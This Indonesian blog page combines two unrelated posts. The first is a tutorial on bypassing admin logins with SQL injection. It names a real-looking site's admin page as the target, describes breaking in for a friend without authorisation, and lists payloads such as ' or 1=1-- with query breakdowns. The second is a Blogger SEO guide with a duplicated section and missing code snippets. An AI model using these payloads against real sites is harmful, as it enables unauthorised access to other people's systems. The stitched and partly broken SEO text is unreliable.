Kemarin, aq iseng maen2 di sekuriti.code.web.id, daripada ngantuk. dan mencoba menyelesaikan misi basic yg cukup mudah dan menyenangkan, lumayan untuk menahan ngantuk. kalau gak salah di misi 9, saya menggunakan teknik ini dan berhasil. Kemudian kemarin temen saya mengatakan kesulitan mengexploitasi sebuah situs yg dia ingin masuk. dia minta bantuan untuk masuk ke sistem admin nya. setelah dia memberikan bug, saya gak langsung mencoba bug tersebut. pertama saya mencoba langsung bypass admin page. dan ternyata masuk.

di artikel kali ini saya mencoba menjelaskan dengan nalar dan bahasa saya sendiri, karena saya kurang pinter berbahasa indonesia, jadi harap maklum kalau bahasanya jelek. Ngakak

sekarang, mari kita coba pada perakport.co.id/admin. login dengan user ' or 1=1-- dengan password yg sama. maka kita akan di bawa ke halaman administrator. karena login kita berhasil. yep. bagaimana ini bisa terjadi?

berikut contoh sebuah command login.
Code:
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";

pada login yang valid (dari admin beneran), query akan menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'";


query tersebut benar, dan benar2 melakukan pengecekan apakah user admin dengan password dlfjoew8r509ewrjeowru94efjlsj ada di database. jika tidak ada, return false dan tidak bisa login. jika ada, return true dan login.
Code: [Select]
username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'


kedua hal tersebut adalah statement yg di cek oleh query mysql.

namun ternyata pengecekan tersebut bisa di lewati dengan membuat query memberikan return true. kita hanya perlu membuat query selalu memberikan nilai benar. salah satu yg bisa kita lakukan adalah dengan menambahkan statement OR dengan statement yg memberikan return true. misal 1=1
Code: [Select]
OR 1=1
sehingga, kita perlu membuat query menjadi seperti ini :
Code: [Select]
$query = "select * from user where username='admin' OR 1=1 AND password='dlfjoew8r509ewrjeowru94efjlsj' OR 1=1";


sehingga, user yg perlu kita masukan adalah : admin' OR 1=1

beberapa admin yg cukup pintar, sudah membuat script query nya lengkap dengan tnda petik untuk menghindari error.
Code: [Select]
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";


sehingga, dengan user : admin' OR 1=1 query akan menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='admin' OR 1=1' AND password='".md5($_POST['pass'])."'";


apa yg terjadi? query error karena kelebihan 1 tanda petik (lihat di belakang angka 1). dan tentu saja return yg di berikan tidak akan true. otomatis login gagal. untuk itu, kita perlu men-terminate script query tersebut. yaitu dengan memberikan comment mysql: --

Sehingga, user yg bisa kita masukkan adalah: admin' or 1=1--
Code: [Select]
$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";


dengan demikian, pengecekan di belakang coment akan di lewati. dan return dari query akan selalu true. perhatikan hukum logika berikut pada argument AND:
Code: [Select]
true AND true = true
true AND false = false
false AND false = false
false AND true = false


"AND" membandingkan true dengan true. jika kedua terbanding bernilai true, maka return true. jika salah satu atau kedua nya false, maka return false.

namun, berbeda dengan OR.
Code: [Select]
true OR true = true
true OR false = true
false OR true = true
false OR false = false


jika salah satu TRUE, maka return akan memberikan TRUE.

nah, perhatikan query setellah di inject:
Code: [Select]
$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";


1=1 ----> true

admin OR true = true

walapun user admin tidak pernah ada, maka query akan selalu memberikan nilai true, karena 1=1 adalah benar (true).

kita bisa tanpa memberikan username sama sekali. sehingga injeksi akan menjadi seperti ini jika kita menggunakan username dan password yg sama : ' or 1=1--
Code: [Select]
$query = "select * from user where username='' or 1=1--' AND password='' or 1=1--'";


hal yg perlu kita perhatikan untuk bypass login adalah nilai true yg di keluarkan dan tidak terjadinya error pada script. sehingga penggunaan tanda baca sangat fatal pada injeksi seperti ini.

dengan memperhatikan output nilai true dan script berjalan dengan benar (tanpa error), kita bisa mencoba berbagai variasi username dan password untuk bisa login. misal
Code: [Select]
a' or 'a'='a
dengan demikian, kita telah memanipulasi query menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='a' or 'a'='a' AND password='a' or 'a'='a'";


tidak ada tanda kutip yang tidak tertutup, sehingga query berjalan lancar. statement OR memberikan nilai true, karena 'a'='a' adalah benar. mysql query memang sangat peka terhadap tanda petik. jangan ada tanda petik yg tidak tertutup.

berbagai variasi injeksi login seperti berikut:
Code: [Select]
' or 1=1
' or '1'='1'
1' or 1=1
1' or '1'='1'
' or 'z'='z
dll, sesuai kreasi kita.


beberapa admin ada yg biasa menggunakan petik ganda dalam codingnya.
Code: [Select]
$query = 'select * from user where username="admin" or 1=1-- AND password="'.md5($_POST["pass"]).'"';
hal tersebut sah sah aja, karena penggunaan tanda baca masih tepat. dengan demikian, injeksi akan sedikit berubah.
Code: [Select]
" or 1=1
" or "1"="1
a" or "a"="a
" or "a"="a


pengethuan tentang query mysql sangat penting dalam hal ini. sehingga kita bisa memanipulasi, memainkan injeksi untuk membypass login admin. karena, administrator biasanya berbeda orang berbeda pula cara coding. sehingga berbagai variasi injeksi akan sangat mungkin terjadi.

Cara Membuat Template Blog 100% Seo Friendly

Setelah mencari kesana kemari ,akhirnya saya temuakan 9 cara untuk membuat template blog 100% seo friendly ,CIEE 100% seo friendly "Benarkah" Ya setidaknya setelah anda gunakan 9 cara ini anda tidak perlu lagi bersusah payah untuk mengedit template agar lebih seo friendly ,intinya pekerjaan anda untuk bikin template seo friendly sudah selesai .Dan jelas anda tidak perlu repot lagi , tinggal lanjutin aja tuh isi blog anda dengan konten-konten terbaik.



Tapi sebelumnya apakah template anda yang sekarang sudah good looking ,maksudanya sudah cepatkah loadingnya atau sudah lengkapkah viturnya contoh title tag readmore dll,tapi jika memang belum anda bisa coba template yang say rekomendasikan untuk melihat tempaltenya silahkan KLIK DISINI .

Oke sekarang langsung aja ke pokok pembahasan yaitu cara membuat template 100% SEO friendly,silahkan ikuti langkah-lanhkah berikut :


1.Edit page title


Biasanya format page title dari blogger adalah seperti ini, JUDUL BLOG : JUDUL POSTING. Nah, agar blog kita lebih disukai oleh Google sehingga ujung-ujungnya blog kita jadi rame, kita harus merubah format page title standar itu menjadi seperti ini, JUDUL POSTING | JUDUL BLOG.


Caranya cari kode berikut ini di Edit HTML, cukup dengan menekan tombol Ctrl+F pada keyboard!


<data:blog.pageTitle/>


Kalo udah dapet kodenya, silakan Anda hapus dan ganti dengan kode berikut ini!


<data:blog.pageName/> | <data:blog.title/>

<data:blog.pageTitle/>




Atau Anda juga bisa tambahkan dengan beberapa kata kunci (keyword).


<data:blog.pageName/> | <data:blog.title/>

<data:blog.pageTitle/> | KATA KUNCI ANDA | KATA KUNCI ANDA




Ganti kode "KATA KUNCI ANDA" dengan keyword yang Anda incar. Setelah semua selesai jangan lupa untuk save template.


2.Pasang meta keyword dan deskripsi


Biasanya format page title dari blogger adalah seperti ini, JUDUL BLOG : JUDUL POSTING. Nah, agar blog kita lebih disukai oleh Google sehingga ujung-ujungnya blog kita jadi rame, kita harus merubah format page title standar itu menjadi seperti ini, JUDUL POSTING | JUDUL BLOG.


Caranya cari kode berikut ini di Edit HTML, cukup dengan menekan tombol Ctrl+F pada keyboard!


<data:blog.pageTitle/>


Kalo udah dapet kodenya, silakan Anda hapus dan ganti dengan kode berikut ini!


<data:blog.pageName/> | <data:blog.title/>

<data:blog.pageTitle/>




Atau Anda juga bisa tambahkan dengan beberapa kata kunci (keyword).


<data:blog.pageName/> | <data:blog.title/>

<data:blog.pageTitle/> | KATA KUNCI ANDA | KATA KUNCI ANDA




Ganti kode "KATA KUNCI ANDA" dengan keyword yang Anda incar. Setelah semua selesai jangan lupa untuk save template.


3.pasang navigasi Breadcrumb


Bread crumb adalah sebuah menu navigasi yang ada diatas postinga atau artikel.Breadcrumb juga seringdipaakai oleh para master blog .karrena cara pasangnya breadcrumb cukup panjang ,saya pisahkan dalam sebuah postingan dan bisa anda lihat DISINI


4.Pasang Related post


Related post sangat bagus untuk seo maupun untuk pengunjung,jadi wajib pasang related post di blog anda.caranya cukup panjang jadi say juga pisahkan dalm sebuah postingan yang anda bisa lihat DISINI


5.Mematikan setting arshive



“Lho?”
“Buat apa?”


Begini, Google sangat membenci dengan yang namanya duplicate content. Jadi ketika kita mengaktifkan opsi blog arsip, misalnya kejadiannya seperti ini, Anda ingin membuat sebuah blog di blogger.com. Lalu membuat 3 posting, 1 buah setiap hari. Maka di halaman utama atau homepage Anda akan ada 3 posting dan sebuah link arsip seperti ini, http://BLOGANDA.********..com/2007_03_01_archive.html, yang memunculkan 3 posting yang sama dengan yang dimunculkan oleh homepage. Intinya, 2 buah link yang memunculkan sebuah halaman yang sama. Bagi Search Engine apa lagi Google, ini adalah masalah serius. Oleh karena itu kita harus me-nonaktifkan opsi arsip.


Caranya, cukup klik tab Setting, pilih Archiving. Nah, pada bagian Archiving Frequency ubah menjadi No Archive. Selesai sudah!
6.Mengganti tg heading


Google sangat menyukai sebuah tulisan atau judul dengan tag H1. Oleh karena itu ubahlah ukuran judul posting Anda dengan tag H1. Caranya cari kode berikut!

















Kode yang dicetak tebal dihapus dan diubah dengan tulisan h1. Setelah itu tambahkan kode berikut sebelum kode ]=]=>.


h1.post-title, .post h1 #Blog1 h1, #Blog2 h1 { font-size:1.5em; }

7.Menambah kode rel=canonical
Gunanya kita menambahkan ‘rel=canonical’ adalah untuk menghindari konten ganda, karena seperti para Master of SEO bilang bahwa Google sangat tidak dapat mentolerir sebuah duplicate content. Caranya mudah, cukup klik Edit HTML, lalu Anda tambahkan kode berikut setelah kode .





Save template dan selesai.


8.Pasang meta keyword disetiap postingan


selain meta deskripsi keyword anda juga wajib pasang meta keyword di setiap postingan ,iniberguna untuk mengoptimalkan seo pada semua postingan yang teklah anda buat,dan juga dengan ini artikel akan lebih mudah di indeks search engine terutama om google,
caranya panjang juga bung,saya pisahkan juga dalam sebuah atrikel dan anda bisa lihat DISINI


9.Pasang plugin seo smart link


sebelumnya plugin seo smartt link hanya bisa dipasang di blog wordpress saja,tapi sekarang bisa dipassang di ******** setelah sang master membuatnya ,cara pasangnya jelas panjang ,dan jelas saya pisahkan dalam sebuah artikel , dan jelas juga anda bisa lihat > DISINI.

hanya berbagi kok.........

Featured

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Best WordPress Web Hosting